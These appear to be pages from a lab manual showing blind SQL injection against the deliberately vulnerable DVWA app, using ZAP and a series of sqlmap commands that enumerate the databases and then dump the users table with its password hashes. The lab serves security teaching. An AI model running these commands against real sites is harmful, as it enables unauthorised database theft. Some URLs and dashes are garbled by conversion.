PR 6
PR 6
67
Navigate to the DVWA web page and add the current domain to scope clicking the top left
button of the ZAP HUD:
Login, set the security to ‘low’ and go to SQL Injection (Blind). Search for the ID ‘1’. The
parameters we’ll need for SQLmap are displayed in ZAP, so go and take a look
68
$ sqlmap -u “http://192.168.56.101/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
proxy=http://127.0.0.1:8080 --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb;
security=low”
We’ve discovered the DBMS is MySQL 5.0.12, the OS is Ubuntu and the web server is Apache
2.4.29.Let’s list the databases available using the “--dbs” parameter:
$ sqlmap -u “http://192.168.56.101/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
proxy=http://127.0.0.1:8080 --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb;
security=low”
69
Now, find the tables with ‘-D dvwa --tables’
$ sqlmap -u “http://192.168.56.101/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
proxy=http://127.0.0.1:8080 --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb;
security=low” -D dvwa –tables
Now we’ll take a look at the columns ‘-D dvwa -T users --columns’:
$ sqlmap -u “http://192.168.56.101/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
proxy=http://127.0.0.1:8080 --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb;
security=low” -D dvwa -T users –columns
70
And now we’ll get the dump:
$ sqlmap -u “http://192.168.56.101/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
proxy=http://127.0.0.1:8080 --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb;
security=low” -D dvwa -T users –dump
We have obtained the users table and password hashes!!! At the end SQLMap will suggest the
use of a dictionary for the hashes. It’s optional.
Sign: _________________
71